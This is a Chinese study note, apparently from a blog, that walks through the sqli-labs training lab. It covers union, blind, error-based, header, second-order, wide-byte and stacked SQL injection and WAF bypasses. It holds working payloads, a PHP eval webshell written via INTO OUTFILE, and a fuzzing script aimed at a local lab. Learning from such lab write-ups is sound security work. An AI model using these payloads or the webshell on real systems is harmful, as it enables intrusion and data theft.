本篇根据sqli-labs展开而来笔记,基于mysql,php的环境;

前置知识:SQL语法,在SQL学习日记中有讲述;

less01~less04

解题一般步骤/思路

  1. 判断是否可注入(单引号/双引号/括号报错)
  2. 判断字段数,使用order by n;
    • order by n 的含义是按照第n个字段排序;
  3. 确定回显字段,使用 union select 1,2,…,n;
    • 联合查找将前面的select联系起来,select 常数 的含义是给查询结果一个临时的列,这个列所有行都是这个常数,一共有表内对象个的行数;
    • 在使用时,往往回显只显示第一行(联合查找前半段),需要将第一行的内容屏蔽掉,如limit,或者使第一行等于一个非法值;
  4. 利用回显的字段查询出数据库,表,字段,以及需要的所有数据;
1
2
3
4
select schema_name from information_schema.schemata  		#找库
select table_name from information_schema.tables where table_schema='' #从库找表
select column_name from information_schema.colunms where table_name='' #从表找字段
select * from xxx.xxx #找数据

在找数据时,经常用到以下两个函数:

group_concat()

  • 使此函数括号内的查询结果拼成一行,如图;

group_concat()

concat_ws()

  • 此函数有三个参数,第一个为拼接符,后两个为拼接字段,输出为两个字段的拼接态,如图;

concat_ws

为什么需要使用这两个函数?正如前面所述,回显一般只显示查询的第一行,需要将查到的账号密码拼接而且合并为一行输出,这样才能在回显上观察到需要的全貌;

less05~less06

此类型为:

布尔盲注

回显只会显示查询结果正确或是错误,不会回显出查询的内容;

使用以下函数以进行对字符串的操作:

left()

其中有两个参数,第一个为字符串,第二个为长度,作用为从左截取长度个字符串内的字符;

例如以下内容:

1
left(database(),4);				#截取当前数据库名的前4个字符

由此可以对截取内容进行比较:

1
select left(database(),1)='s';			#正确返回1,错误返回0

由此来使得获取库名的目的;

substr()

三个参数,第一个为字符串,第二个为起始位置,第三个为截取长度,例如substr(a,b,c),作用为截取a字符串,从b位置开始,截取c位长度;

ascii()

将输入的字符转为其ascii值;

使用以上函数便可完成对字符的判断,从而得到库名,一般不会直接使用等于多少多少字符,而是每个字符转为ascii后采用二分法判断其是哪个字符;

当然也可用BP抓包,暴力破解,具体步骤为抓包->转发测试器(Intruder)->添加变量位置->选择暴力破解->规定字符集以及长度->选择进程数->开始;

测出的发包观察其长度变化,找到独异个体,查看其响应包内是否为正确回显即可;

之后便根据此方法依次判断库名,表名,字段名,以及账号密码;

less07

一句话木马

由于才疏识浅,能找到的内容如下,会有不严谨和错误的地方:

php版本:

1
<?php @eval($_POST['pass']);?>

上传到目的网址后,使用中国菜刀打开其路径并加上pass变量,即可查看其所有数据;

其含义为 <?php ?> 是html将此包裹里的内容作为php语句执行;

艾特符号取消报错,eval函数将输入的字符串作为命令执行;

$_POST变量是全局的php变量,也是一个数组,括号内的pass则是其下标,对应pass变量,译作将post发送的内容转给pass变量;

整句话的意思是:将post的内容作为指令在服务器上执行;

中国菜刀的原理简单理解为窗口化的post输入指令,每点一下都是在对服务器post指令;

into outfile

写文件关键字,用法:

1
select a,b,c into outfile 'path\\1.txt';

load_file()

读文件,直接跟在select后面作为查询内容,参数为文件路径;

解法也如同之前所述,先判断注入点,之后用 into outfile 将一句话木马作为字符串写入目标文件内,之后便可用中国菜刀访问web shell;

less08~less10

if()

类似三目运算,三个参数,第一个为条件,第二个为真时返回值,第三个为假时返回值;

if函数一般与sleep函数一起使用,sleep函数的参数单位为秒,构成时间盲注的句子;

时间盲注

当回显内容为空时,此时可以采用时间盲注的方法;

回显为空时如何判断注入漏洞?在可能出现漏洞的地方加入sleep函数来测试,是否响应时间变动;

布尔盲注是根据回显判断内容是否正确,那么时间盲注即是根据响应时间来判断是否正确,如下面一段话:

1
select if(length(database())=7,1,sleep(5))

当前数据库名长度为7时返回1,否则睡眠5秒,在where中加入此条件的话,会导致判断时网页的响应时间发生变化,由此进行判断;

由此方法与布尔盲注类似,不断去判断库名,表名,字段名,拿到数据;

也可以用sqlmap脚本自动爆破,以及bp;

此方法的开销较大,一般不选用;

less11~less16

POST注入

比起get注入,需要注意的点为参数名称需要用bp抓包来获取,之后使用hackbar的post方法发包,且注释符需要使用 # ,–+ 一般用于url中;

获取到注入点也同之前一样,之后,可使用 or 1=1 来永真返回;

查找表和数据的步骤如之前一样进行;

盲注步骤也一样;

less17

报错注入

核心函数:

updatexml()

三个参数,第一个为XML文档对象的名称,第二个为Xpath格式的字符串,第三个为替换数据;

作用为改变文档中符合条件的节点;

extractvalue()

两个参数,用法同上函数,第一个参数为对象名,第二个为Xpath格式的字符串;

而在报错注入中,concat函数返回的类型时一个字符串,不符合xpath的格式,所以会报错,并给出这个字符串的内容,从而获取信息;

如下:

1
mysql> select * from users where updatexml(1,concat(0x7e,database(),0x7e),1);

会导致其报错而显示database的内容:

xpath error

这个方法有什么用?

高效:对于无回显可以这么用,直接拿名称;

防止过滤关键词,比如不让用union select了怎么查呢?

less18~less22

http头注入

当发包信息参与了sql语句时,可以利用http头进行注入(如回显有这些内容时,可以猜测);

一般是将useragent,或者ip,或者等等的头信息作为参数加入sql语言中;

思路是使用bp重构这些参数,使其在sql语句中时产生注入漏洞;

注意:不要打乱这些参数序列!!!(构造闭合

cookie注入如法炮制,cookie的发包一般在原包的后面一个包,里面包含了cookie字段;

对于base64编码的内容,也需要将构造的payload进行base64编码然后发包;

例如:

18关登录成功的情况下是会回显useragent的:

feedback

利用bp的重发器,在useragent的地方使用单引号判断出有注入漏洞,则可在这个位置进行payload构造:

repeat

注意根据语法错误构造闭合:

原内容为注入点后面还有两个字符串,并且有个括号,那么构造payload应该为:

1
2
3
' payload,'','') #
或者
' payload or '1' = 1'

之后如法炮制拿数据;

至此,基础篇结束;

less23

当 –+ 或者 # 被注释掉时,可以试用如下内容:

1
;%00

我的理解是单引号分割语句,%00为url编码中的空字符对后面的内容进行截断,导致sql语言能正常执行;

也可以构造常规语句来闭合引号;

SQL语句执行顺序

在where附加条件时,如果order by 后面还有跟 and or 一类的连接符,order by 会被忽略掉;

less24

二次注入

注入时,特殊字符被转义无法导致注入,只有将转义后的内容存入数据库,之后引用这个数据时发生注入漏洞,称二次注入;

例子:在注册用户时,给已有用户名后面加 ‘# 符号,致使 user’#被创建,在修改密码时,引用字符应为:

1
UPDATE users SET password='sss' where username='user'#'

此时发生注入漏洞,并将原本的user账户的密码修改了;

less25~less25a

WAF绕过

可分为三类:

  • 白盒绕过

    • 通过获取源码分析的方式进行绕过;
  • 黑盒绕过

    • 架构层面

      ​ 寻找原网站绕过:针对云WAF,云waf的作用类似于拦截网,先通过其进行验证,之后将数据交给原网址,类似CDN;

      ​ 对于CDN:通过超级ping,在不同地区的CDN返回ping值不同的结果;

      ​ 注册,直接转到原网站;

      ​ 通过国外IP地址访问,对于个别网站CDN只针对于国内;

      ​ 通过同网段绕过:一个网段中,经过的数据可能不会经过云WAF,可以先拿到网段中其他主机的权限,对目标交互;

      ​ 对于网段解释:192.168.1.0 ~ 192.168.1.255称为一段 (局域网概念)

    • 资源限制角度

      ​ 一般WAF执行需要优先考虑业务优先原则,对于构造超大的数据包可能不会进行检测,实现绕过;

    • 协议层面

      ​ get型比post型要小,由于业务需求,只对get检测,可通过在post内构造图片后面跟注入语句的方式进行测试;

      ​ 参数污染:index?id=1&id=2 可能只对id=1进行检测;

    • 规则层面

      ​ sql注释符绕过:当不允许使用空格,用/**/来代替空格,或者在注释内添加超长内容;

      ​ 使用内联注释(mysql特有) /*!union select */ 注释内的代码可执行;

      ​ 也可以用括号将关键字分割开;

      ​ 空白符绕过: 对于空格的填充,url编码;

      ​ mysql空白符:%09; %0A; %0B; %0D; %20; %0C; %A0;

      ​ 正则空白符:%09; %0A; %0B; %0D; %20;

      ​ %25编码为%,%25A0则是空白符;

      ​ 函数分隔符号: 将一个函数进行分割,在函数名称后面跟空白符;

      ​ 浮点数词法解释:WAF对id=1可以检测,但对于id=1.0、id=\N、id=1E0可能无法检测;

      ​ 利用error-based进行sql注入;

      ​ mysql特殊语法:例如 select {x name} from {x table};

      ​ 大小写绕过: 如果对 and or union 关键字过滤,可以采用大小写混用的方法,也可使用双写;

      ​ 在过滤大小写混用时,采用OORr的写法,会被过滤为or(中间or消失),则是双写,也可以尝试关键词替换;

  • fuzz测试

    • 使用bp测试,测试成功用脚本处理;

使用报错注入过滤空格可用 ^ 来连接函数,针对and or全面封锁;

less26~less28a

本题通关方式与25大差不差,原理也和WAF绕过有关;

脚本获取空格符替换对应的url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

#循环查找编码
for i in range(0,256):
code = hex(i).replace('0x','')
if(len(code) < 2):
code = '0' + code
code = '%' + code
#构造发送url
url = "http://127.0.0.1/sqli-labs-master/Less-26/?id=1'" + code + "%26%26" + code + "'1'=1'"
#通过回响包中是否返回正确的内容来判断空格正确
r = requests.get(url)
#解码raw
if 'Dumb' in r.content.decode('utf-8','ignore'):
print(code)

这里需要提一下,windows的apache环境对于空格编码有问题,需要docker环境搭建的sqli靶场才能用上述脚本找出合适的编码,不然统统都不能过;

当然也可以用报错注入的方式来获取内容,用括号分割关键字,就不需要空格了;

使用命令:

1
2
docker run -dt --name Dsqli -p 80:80 --rm acgpiano/sqli-labs
docker start ID

用pull建立镜像后,run,之后映射80端口,使用ssh连接时使用的ip和端口访问docker搭建的靶场;

对于where 后面 加括号包裹,会将结果返回为0或1,导致有时候只用引号就能判断出注入点,实际上是误判了,这样只用引号去闭合会出现中间的内容写了也没有作用,只有加括号闭合的方式,才能使得中间的语句成功执行;

less29~less31

服务器两层架构

客户端首先发送请求给tomcat服务器,之后由此服务器转交给apache,响应后返回给tomcat,由tomcat传递给客户端;

客户端访问url传递两个相同参数,tomcat接收第一个,apache接收第二个,第一个使用 getParameter 接收纯数字,第二个用php的get变量接收字符串;

less32~less37

宽字节注入

php和mysql默认编码为GBK,支持两字节编码,函数执行添加的是ASCII编码(单字节);

假如使用单引号注入时,mysql对 id=1' 进行了处理使用斜杠转义 id=1\' ,就无法完成注入;

如果此时在1后面跟 %df 并加上单引号,会让代码部分变成这样的内容: id=1%df\' ;

而斜杠的url编码是 %5c , 此时代码部分原义为 id=1%df%5c' ,%df%5c 会被编码为GBK中宽字节的内容;

此时代码部分是这样的: id=1字' ,由于斜杠被编码带入了,单引号得不到转义,可以完成注入;

第二种方法,将转义单引号的斜杠再转义,构造语句如下:

1
id=1%aa%5c'

%5c是斜杠,因为是和单引号一样的敏感内容,所以同样会添加斜杠转义,此时整句处理后的句子如下:

1
id=1 %aa%5c %5c%5c '   -->    id=1字 \\ '

这样就把转义单引号的斜杠给转义掉了;

addslashes() / mysql_real_escape_string()

里面添加字符串,在字符串内每个敏感字符前添加反斜杠,也是一种起转义的方法;

在post注入时, %df 会被url编码为 %25 df 的raw字段,需要将raw的内容改为%df才能绕过转义,当已知转义的情况下,用正常post无法注入,记得抓包查看raw的内容;

less38~less45

堆叠注入

简单解释,一行两句sql语言,期间用;分号隔开;

其有局限性,第一,在某些环境下,数据库语言只支持一行一句,第二,web前端查询回显问题,一般只回显第一次查询结果;

使用堆叠注入写一句话木马

步骤:

  • 写权限;
  • 一句话木马;
  • 绝对路径;
  • select xxx into outfile xxx;
1
id=1'; select <?php @eval($_POST[pass]); ?> into outfile xxx;

less46~less53

lines terminated by 123

sql关键字,字面意义,在每行后面以 123 进行分割;

用于插入一句话木马,适用于order by 之后注入的情况,没办法使用堆叠注入的情况;

mysqli_multi_query()

使用这个函数可以一行执行多个SQL语句;

至此开启挑战篇;

less54~less75

挑战篇用以上内容都可以解决,就盲注手搓会比较恶心,之后学习sqlmap以及bp的脚本盲注;

补充

遇到select完全封锁的情况,且可使用堆叠,可以使用如下语句查看当前数据库下的内容:

1
2
3
show database;
show tables;
show columns from tableName;

之后使用二次注入的思想,利用已有的select查询语法,改变表名,列名,获取数据;

如下语句:

1
select n || id from users;

当n为数字时,一直回显都为1,当n不为数字,不会回显;

当心注入位置的判断!不一定就在where之后!